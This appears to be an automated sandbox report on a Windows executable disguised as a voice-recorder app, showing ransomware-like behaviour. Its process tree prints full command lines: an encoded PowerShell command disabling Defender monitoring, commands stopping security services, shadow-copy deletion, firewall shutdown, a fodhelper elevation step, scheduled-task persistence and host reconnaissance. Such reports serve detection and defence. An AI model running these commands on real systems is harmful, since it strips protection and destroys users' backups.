Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/10/2026, 23:32

General

  • Target
    easyvoicerecorder.io_hyber.exe
  • Size 49KB
  • Sample261012-3jmaessycs
  • SHA256 804b884264e0eb2113e69ee87d1185a84f924f08c7a5c646e0216ec580ea11d1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4936
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4376
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2244
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5044
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3048
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5192
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4732
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1648
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe"
        3⤵
          PID:2336
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3396
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5908
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2848
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4608
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4832
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:3468
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2100
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5820
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3176
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:1692
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2700
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:2668
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            PID:2076
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4548
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:1496
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:4144
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:1148
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3256
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:6028
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:6096
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1596
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:5032
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:4580
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a21855 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:5052
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:5716
            • C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\easyvoicerecorder.io_hyber.exe
              1⤵
                PID:4216
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2516
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k GPSvcGroup
                1⤵
                  PID:468

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      doc_2.pdf

                      • Path C:\SystemVolumeInformation\doc_2.pdf
                      • Size 66KB
                      • SHA256 6150832ed5e87c88a0ec69c8b6a34d035c4b762f01ad976401e40f1980c38e0f
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_cxyu5zbm.kyo.psm1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxyu5zbm.kyo.psm1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 251B
                      • SHA256 fa1e722a632ab911d4fe60afdcc5b257fbfe0dfa79406e62f4b512407e66cb07
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 252B
                      • SHA256 990a5dd96d0b2bf7b2ab16332491769b2a840dc906e558f0b2a7150a74ce510b
                      • MD5 SHA1 SHA512 TLSH

                      invoice_1.pdf

                      • Path C:\Users\Admin\Documents\invoice_1.pdf
                      • Size 66KB
                      • SHA256 a73be1af3914aa6d8bd57e58df289437b9587e13ae25c28778d03f0ef843d5e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/3228-2247-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-4-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-10-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-11-0x000000001DEC0000-0x000000001E082000-memory.dmp

                      memory/3228-12-0x000000001E6C0000-0x000000001EBE8000-memory.dmp

                      memory/3228-8-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2259-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-9-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2258-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-5-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2257-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2253-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-3-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2256-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-2241-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-1-0x0000000000910000-0x0000000000922000-memory.dmp

                      memory/3228-2252-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/3228-0-0x00007FFA6974F000-0x00007FFA69750000-memory.dmp

                      memory/3228-2250-0x00007FFA695C0000-0x00007FFA69F64000-memory.dmp

                      memory/4144-2243-0x000001A83D9C0000-0x000001A83D9C1000-memory.dmp

                      memory/4936-676-0x000002196CB50000-0x000002196CB6E000-memory.dmp

                      memory/4936-2233-0x0000021953C90000-0x0000021954634000-memory.dmp

                      memory/4936-1168-0x000002196CD30000-0x000002196CD3A000-memory.dmp

                      memory/4936-2255-0x0000021953C90000-0x0000021954634000-memory.dmp

                      memory/4936-677-0x000002196CB70000-0x000002196CC22000-memory.dmp

                      memory/4936-18-0x0000021953910000-0x0000021953932000-memory.dmp